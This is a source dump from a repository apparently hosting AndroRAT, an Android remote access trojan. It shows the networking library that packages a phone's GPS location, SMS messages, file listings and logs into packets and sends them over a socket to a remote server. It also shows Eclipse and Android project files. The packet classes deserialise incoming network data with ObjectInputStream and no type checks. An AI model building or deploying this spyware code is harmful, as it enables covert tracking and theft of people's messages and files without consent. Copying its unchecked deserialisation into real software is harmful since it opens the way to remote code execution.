| this.data = new byte[b.remaining()]; 35 | b.get(data, 0, b.remaining()); 36 | } 37 | 38 | public byte[] getData() { 39 | return data; 40 | } 41 | 42 | public byte getMf() { 43 | return mf; 44 | } 45 | 46 | public short getNumSeq() { 47 | return numSeq; 48 | } 49 | 50 | } 51 | -------------------------------------------------------------------------------- /Experiment/InOut/Packet/FileTreePacket.java: -------------------------------------------------------------------------------- 1 | package Packet; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.IOException; 6 | import java.io.ObjectInputStream; 7 | import java.io.ObjectOutputStream; 8 | import java.util.ArrayList; 9 | import utils.MyFile; 10 | 11 | public class FileTreePacket implements Packet{ 12 | 13 | private ArrayList list; 14 | 15 | public FileTreePacket() { 16 | 17 | } 18 | 19 | public FileTreePacket(ArrayList ar) { 20 | list = ar; 21 | } 22 | 23 | public byte[] build() { 24 | try { 25 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 26 | ObjectOutputStream out = new ObjectOutputStream(bos); 27 | out.writeObject(list); 28 | return bos.toByteArray(); 29 | } catch (IOException e) { 30 | return null; 31 | } 32 | } 33 | 34 | public void parse(byte[] packet) { 35 | ByteArrayInputStream bis = new ByteArrayInputStream(packet); 36 | ObjectInputStream in; 37 | try { 38 | in = new ObjectInputStream(bis); 39 | list = (ArrayList) in.readObject(); 40 | } catch (Exception e) { 41 | } 42 | } 43 | 44 | public ArrayList getList() { 45 | return list; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /Experiment/InOut/Packet/GPSPacket.java: -------------------------------------------------------------------------------- 1 | package Packet; 2 | 3 | import java.nio.ByteBuffer; 4 | 5 | public class GPSPacket implements Packet 6 | { 7 | 8 | private double longitude; 9 | private double latitude; 10 | private double altitude; 11 | private float speed; 12 | private float accuracy; 13 | 14 | 15 | public GPSPacket() 16 | { 17 | 18 | } 19 | 20 | public GPSPacket(double lat, double lon, double alt, float speed, float acc) 21 | { 22 | this.latitude = lat ; 23 | this.longitude = lon ; 24 | this.altitude = alt; 25 | this.speed = speed; 26 | this.accuracy = acc; 27 | } 28 | 29 | public byte[] build() 30 | { 31 | ByteBuffer b = ByteBuffer.allocate(32); 32 | System.out.println("Longitude : "+longitude); 33 | b.putDouble(this.longitude); 34 | b.putDouble(this.latitude); 35 | b.putDouble(this.altitude); 36 | b.putFloat(this.speed); 37 | b.putFloat(this.accuracy); 38 | return b.array(); 39 | } 40 | 41 | public void parse(byte[] packet) 42 | { 43 | ByteBuffer b = ByteBuffer.wrap(packet); 44 | this.longitude = b.getDouble(); 45 | this.latitude = b.getDouble(); 46 | this.altitude = b.getDouble(); 47 | this.speed = b.getFloat(); 48 | this.accuracy = b.getFloat(); 49 | } 50 | 51 | 52 | 53 | public double getLongitude() 54 | { 55 | return longitude; 56 | } 57 | 58 | public double getLatitude() 59 | { 60 | return latitude; 61 | } 62 | 63 | public double getAltitude() 64 | { 65 | return altitude; 66 | } 67 | 68 | public float getSpeed() 69 | { 70 | return speed; 71 | } 72 | 73 | public float getAccuracy() 74 | { 75 | return accuracy; 76 | } 77 | 78 | } 79 | -------------------------------------------------------------------------------- /Experiment/InOut/Packet/LogPacket.java: -------------------------------------------------------------------------------- 1 | package Packet; 2 | 3 | import java.nio.ByteBuffer; 4 | 5 | public class LogPacket implements Packet { 6 | 7 | long date; 8 | byte type; //0 ok / 1 Error 9 | String message; 10 | 11 | public LogPacket() { 12 | 13 | } 14 | 15 | public LogPacket(long date, byte type, String message) { 16 | this.date = date; 17 | this.type = type; 18 | this.message = message; 19 | } 20 | 21 | public byte[] build() { 22 | ByteBuffer b = ByteBuffer.allocate(9+message.length()); 23 | b.putLong(date); 24 | b.put(type); 25 | b.put(message.getBytes()); 26 | return b.array(); 27 | } 28 | 29 | public void parse(byte[] packet) { 30 | ByteBuffer b = ByteBuffer.wrap(packet); 31 | date = b.getLong(); 32 | type = b.get(); 33 | byte[] tmp = new byte[b.remaining()]; 34 | b.get(tmp); 35 | message = new String(tmp); 36 | } 37 | 38 | public long getDate() { 39 | return date; 40 | } 41 | 42 | public byte getType() { 43 | return type; 44 | } 45 | 46 | public String getMessage() { 47 | return message; 48 | } 49 | 50 | } 51 | -------------------------------------------------------------------------------- /Experiment/InOut/Packet/Packet.java: -------------------------------------------------------------------------------- 1 | package Packet; 2 | 3 | public interface Packet 4 | { 5 | public byte[] build(); 6 | 7 | public void parse(byte[] packet); 8 | } -------------------------------------------------------------------------------- /Experiment/InOut/Packet/RawPacket.java: -------------------------------------------------------------------------------- 1 | package Packet; 2 | 3 | public class RawPacket implements Packet { 4 | 5 | private byte[] data; 6 | 7 | public RawPacket() { 8 | // Nothing 9 | } 10 | 11 | public RawPacket(byte[] data) { 12 | this.data = data; 13 | } 14 | 15 | public byte[] build() { 16 | return data; 17 | } 18 | 19 | public void parse(byte[] packet) { 20 | data = packet; 21 | } 22 | 23 | public byte[] getData() { 24 | return data; 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Experiment/InOut/Packet/SMSTreePacket.java: -------------------------------------------------------------------------------- 1 | package Packet; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.IOException; 6 | import java.io.ObjectInputStream; 7 | import java.io.ObjectOutputStream; 8 | import java.util.ArrayList; 9 | 10 | public class SMSTreePacket implements Packet{ 11 | 12 | ArrayList list; 13 | 14 | public SMSTreePacket() { 15 | 16 | } 17 | 18 | public SMSTreePacket(ArrayList ar) { 19 | list = ar; 20 | } 21 | 22 | public byte[] build() { 23 | try { 24 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 25 | ObjectOutputStream out = new ObjectOutputStream(bos); 26 | out.writeObject(list); 27 | return bos.toByteArray(); 28 | } catch (IOException e) { 29 | return null; 30 | } 31 | } 32 | 33 | public void parse(byte[] packet) { 34 | ByteArrayInputStream bis = new ByteArrayInputStream(packet); 35 | ObjectInputStream in; 36 | try { 37 | in = new ObjectInputStream(bis); 38 | list = (ArrayList) in.readObject(); 39 | } catch (Exception e) { 40 | } 41 | } 42 | 43 | public ArrayList getList() { 44 | return list; 45 | } 46 | } -------------------------------------------------------------------------------- /Experiment/InOut/Packet/ShortSMSPacket.java: -------------------------------------------------------------------------------- 1 | package Packet; 2 | 3 | import java.nio.ByteBuffer; 4 | 5 | public class ShortSMSPacket implements Packet{ 6 | 7 | private int address_size; 8 | private String address; 9 | private long date; 10 | private int body_size; 11 | private String body; 12 | 13 | public ShortSMSPacket() { 14 | 15 | } 16 | 17 | public ShortSMSPacket(String ad, long dat, String body) { 18 | this.address = ad; 19 | this.address_size = ad.length(); 20 | this.date = dat; 21 | this.body = body; 22 | this.body_size = this.body.length(); 23 | } 24 | 25 | 26 | public byte[] build() { 27 | ByteBuffer b = ByteBuffer.allocate(4+4+address.length()+4+4+8+4+body.length()+4); 28 | b.putInt(address_size); 29 | b.put(address.getBytes()); 30 | b.putLong(date); 31 | b.putInt(body_size); 32 | b.put(body.getBytes()); 33 | return b.array(); 34 | } 35 | 36 | public void parse(byte[] packet) { 37 | ByteBuffer b = ByteBuffer.wrap(packet); 38 | this.address_size = b.getInt(); 39 | byte[] tmp = new byte[address_size]; 40 | b.get(tmp); 41 | this.address = new String(tmp); 42 | this.date = b.getLong(); 43 | this.body_size = b.getInt(); 44 | tmp = new byte[body_size]; 45 | b.get(tmp); 46 | this.body = new String(tmp); 47 | } 48 | 49 | public String getAddress() { 50 | return address; 51 | } 52 | 53 | public long getDate() { 54 | return date; 55 | } 56 | 57 | public String getBody() { 58 | return body; 59 | } 60 | } -------------------------------------------------------------------------------- /Experiment/InOut/in/Demux.java: -------------------------------------------------------------------------------- 1 | package in; 2 | 3 | import Packet.TransportPacket; 4 | import inout.Controler; 5 | import inout.Protocol; 6 | import java.nio.ByteBuffer; 7 | 8 | public class Demux { 9 | // acces au controler 10 | private Controler controler; 11 | 12 | // un packet 13 | private TransportPacket p; 14 | 15 | 16 | // l'identifiant du client 17 | private String imei; 18 | 19 | // le buffer de lecture 20 | private ByteBuffer buffer; 21 | 22 | // variables de controle 23 | private boolean partialDataExpected, reading; 24 | 25 | public Demux(Controler s, String i) { 26 | imei = i; 27 | controler = s; 28 | reading = true; 29 | partialDataExpected = false; 30 | 31 | } 32 | 33 | public boolean receive(ByteBuffer buffer) throws Exception 34 | { 35 | 36 | while (reading) { 37 | 38 | 39 | if(!partialDataExpected) 40 | //si on n'attend pas de donn�es partielles(dans le cas d'un paquet pas re�ue enti�rement) 41 | { 42 | // si la taille du buffer est insuffisante 43 | if ((buffer.limit() - buffer.position()) < Protocol.HEADER_LENGTH_DATA) 44 | { 45 | 46 | return true; 47 | } 48 | } 49 | 50 | // dans le cas d'un paquet partiellement recue 51 | if (partialDataExpected) 52 | partialDataExpected = p.parseCompleter(buffer); 53 | else 54 | { 55 | p = new TransportPacket(); 56 | partialDataExpected = p.parse(buffer); 57 | } 58 | 59 | 60 | 61 | if (partialDataExpected) 62 | return true; 63 | else 64 | controler.Storage(p, imei); 65 | 66 | } 67 | 68 | 69 | reading = true; 70 | return true; 71 | } 72 | 73 | public void setImei(String i) { 74 | imei = i; 75 | } 76 | 77 | } 78 | -------------------------------------------------------------------------------- /Experiment/InOut/in/Receiver.java: -------------------------------------------------------------------------------- 1 | package in; 2 | 3 | import java.io.IOException; 4 | import java.io.InputStream; 5 | import java.net.Socket; 6 | import java.net.SocketException; 7 | import java.nio.ByteBuffer; 8 | import java.nio.channels.SocketChannel; 9 | import java.util.concurrent.BlockingQueue; 10 | import java.util.concurrent.LinkedBlockingQueue; 11 | 12 | import inout.Protocol; 13 | 14 | public class Receiver { 15 | 16 | private Socket socket; 17 | private byte[] received_data; 18 | private ByteBuffer buffer; 19 | private InputStream is; 20 | 21 | public Receiver(Socket s) throws IOException { 22 | socket = s; 23 | is = socket.getInputStream(); 24 | 25 | received_data = new byte[Protocol.MAX_PACKET_SIZE]; 26 | buffer = ByteBuffer.allocate(Protocol.MAX_PACKET_SIZE); 27 | } 28 | 29 | public ByteBuffer read() throws IOException, SocketException { 30 | int n = 0; 31 | 32 | n = is.read(received_data); 33 | 34 | buffer.clear(); 35 | buffer = ByteBuffer.wrap(received_data, 0, n); 36 | //System.out.println("data has been read:" + buffer.limit()); 37 | 38 | return buffer; 39 | } 40 | 41 | } 42 | -------------------------------------------------------------------------------- /Experiment/InOut/inout/Controler.java: -------------------------------------------------------------------------------- 1 | package inout; 2 | 3 | import Packet.TransportPacket; 4 | 5 | public interface Controler { 6 | 7 | public void Storage(TransportPacket tp, String i); 8 | } 9 | -------------------------------------------------------------------------------- /Experiment/InOut/out/Connection.java: -------------------------------------------------------------------------------- 1 | //package InOut; 2 | 3 | package out; 4 | 5 | import java.io.DataInputStream; 6 | import java.io.DataOutputStream; 7 | import java.io.IOException; 8 | import java.net.ServerSocket; 9 | import java.net.Socket; 10 | import java.nio.ByteBuffer; 11 | 12 | 13 | 14 | import out.Mux; 15 | 16 | import in.Demux; 17 | import in.Receiver; 18 | import inout.Controler; 19 | 20 | public class Connection 21 | { 22 | Socket s; 23 | String ip = "localhost"; 24 | int port = 5555; 25 | DataOutputStream out; 26 | DataInputStream in; 27 | 28 | boolean stop = false; 29 | ByteBuffer readInstruction; 30 | Mux m; 31 | Demux dem ; 32 | Controler controler; 33 | Receiver receive ; 34 | 35 | public Connection(String ip, int port) 36 | { 37 | this.ip = ip; 38 | this.port = port; 39 | } 40 | 41 | public Connection(String ip, int port, Controler ctrl) 42 | { 43 | this.ip = ip; 44 | this.port = port; 45 | this.controler = ctrl; 46 | } 47 | 48 | public boolean connect() 49 | { 50 | try 51 | { 52 | s = new Socket(ip, port); 53 | in = new DataInputStream(s.getInputStream()); 54 | out = new DataOutputStream(s.getOutputStream()); 55 | m = new Mux(out); 56 | dem = new Demux(controler, "moi"); 57 | receive = new Receiver(s); 58 | return true; 59 | } catch (IOException e) 60 | { 61 | e.printStackTrace(); 62 | return false; 63 | } 64 | } 65 | 66 | public boolean reconnect() 67 | { 68 | return connect(); 69 | } 70 | 71 | public boolean accept(ServerSocket ss) 72 | { 73 | try 74 | { 75 | s = ss.accept(); 76 | 77 | in = new DataInputStream(s.getInputStream()); 78 | out = new DataOutputStream(s.getOutputStream()); 79 | m = new Mux(out); 80 | return true; 81 | 82 | } catch (IOException e) 83 | { 84 | 85 | e.printStackTrace(); 86 | return false; 87 | } 88 | } 89 | 90 | public ByteBuffer getInstruction() throws Exception 91 | { 92 | readInstruction = receive.read(); 93 | 94 | if(dem.receive(readInstruction)) 95 | readInstruction.compact(); 96 | else 97 | readInstruction.clear(); 98 | 99 | return readInstruction; 100 | } 101 | 102 | public void sendData(int chan, byte[] packet) 103 | { 104 | m.send(chan, packet); 105 | } 106 | 107 | public void stop() throws Exception{ 108 | if(s != null) 109 | s.close(); 110 | } 111 | } -------------------------------------------------------------------------------- /Experiment/InOut/out/Sender.java: -------------------------------------------------------------------------------- 1 | package out; 2 | 3 | import java.io.DataOutputStream; 4 | import java.io.IOException; 5 | 6 | public class Sender { 7 | 8 | DataOutputStream out; 9 | 10 | public Sender(DataOutputStream out) 11 | { 12 | this.out = out ; 13 | } 14 | 15 | public void send(byte[] data) 16 | { 17 | try 18 | { 19 | out.write(data); 20 | } catch (IOException e) 21 | { 22 | e.printStackTrace(); 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /doc/contact.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/doc/contact.png -------------------------------------------------------------------------------- /doc/gps.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/doc/gps.png -------------------------------------------------------------------------------- /doc/homepanel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/doc/homepanel.png -------------------------------------------------------------------------------- /doc/main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/doc/main.png -------------------------------------------------------------------------------- /src/Androrat/.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /src/Androrat/.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | Androrat 4 | 5 | 6 | 7 | 8 | 9 | com.android.ide.eclipse.adt.ResourceManagerBuilder 10 | 11 | 12 | 13 | 14 | com.android.ide.eclipse.adt.PreCompilerBuilder 15 | 16 | 17 | 18 | 19 | org.eclipse.jdt.core.javabuilder 20 | 21 | 22 | 23 | 24 | com.android.ide.eclipse.adt.ApkBuilder 25 | 26 | 27 | 28 | 29 | 30 | com.android.ide.eclipse.adt.AndroidNature 31 | org.eclipse.jdt.core.javanature 32 | 33 | 34 | 35 | INOUT_LIBRARY 36 | 2 37 | INOUT_LIBRARY 38 | 39 | 40 | 41 | 42 | INOUT_LIBRARY 43 | $%7BPARENT-1-PROJECT_LOC%7D/InOut 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /src/Androrat/.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 3 | org.eclipse.jdt.core.compiler.compliance=1.5 4 | org.eclipse.jdt.core.compiler.source=1.5 5 | -------------------------------------------------------------------------------- /src/Androrat/gen/my/app/client/BuildConfig.java: -------------------------------------------------------------------------------- 1 | /** Automatically generated file. DO NOT MODIFY */ 2 | package my.app.client; 3 | 4 | public final class BuildConfig { 5 | public final static boolean DEBUG = true; 6 | } -------------------------------------------------------------------------------- /src/Androrat/gen/my/app/client/R.java: -------------------------------------------------------------------------------- 1 | /* AUTO-GENERATED FILE. DO NOT MODIFY. 2 | * 3 | * This class was automatically generated by the 4 | * aapt tool from the resource data it found. It 5 | * should not be modified by hand. 6 | */ 7 | 8 | package my.app.client; 9 | 10 | public final class R { 11 | public static final class attr { 12 | } 13 | public static final class drawable { 14 | public static final int ic_launcher=0x7f020000; 15 | } 16 | public static final class id { 17 | public static final int buttonstart=0x7f060002; 18 | public static final int buttonstop=0x7f060003; 19 | public static final int ipfield=0x7f060000; 20 | public static final int portfield=0x7f060001; 21 | } 22 | public static final class layout { 23 | public static final int main=0x7f030000; 24 | } 25 | public static final class string { 26 | public static final int app_name=0x7f050001; 27 | public static final int hello=0x7f050000; 28 | } 29 | public static final class xml { 30 | public static final int preferences=0x7f040000; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/Androrat/proguard-project.txt: -------------------------------------------------------------------------------- 1 | # To enable ProGuard in your project, edit project.properties 2 | # to define the proguard.config property as described in that file. 3 | # 4 | # Add project specific ProGuard rules here. 5 | # By default, the flags in this file are appended to flags specified 6 | # in ${sdk.dir}/tools/proguard/proguard-android.txt 7 | # You can edit the include path and order by changing the ProGuard 8 | # include property in project.properties. 9 | # 10 | # For more details, see 11 | # http://developer.android.com/guide/developing/tools/proguard.html 12 | 13 | # Add any project specific keep options here: 14 | 15 | # If your project uses WebView with JS, uncomment the following 16 | # and specify the fully qualified class name to the JavaScript interface 17 | # class: 18 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 19 | # public *; 20 | #} 21 | -------------------------------------------------------------------------------- /src/Androrat/project.properties: -------------------------------------------------------------------------------- 1 | # This file is automatically generated by Android Tools. 2 | # Do not modify this file -- YOUR CHANGES WILL BE ERASED! 3 | # 4 | # This file must be checked in Version Control Systems. 5 | # 6 | # To customize properties used by the Ant build system edit 7 | # "ant.properties", and override values to adapt the script to your 8 | # project structure. 9 | # 10 | # To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home): 11 | #proguard.config=${sdk.dir}\tools\proguard\proguard-android.txt:proguard-project.txt 12 | 13 | # Project target. 14 | target=android-8 15 | -------------------------------------------------------------------------------- /src/Androrat/res/drawable-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/Androrat/res/drawable-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /src/Androrat/res/drawable-ldpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/Androrat/res/drawable-ldpi/ic_launcher.png -------------------------------------------------------------------------------- /src/Androrat/res/drawable-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/Androrat/res/drawable-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /src/Androrat/res/drawable-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/Androrat/res/drawable-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /src/Androrat/res/layout/main.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 10 | 14 | 19 | 20 | 24 | 28 | 33 | 34 | 35 | 36 |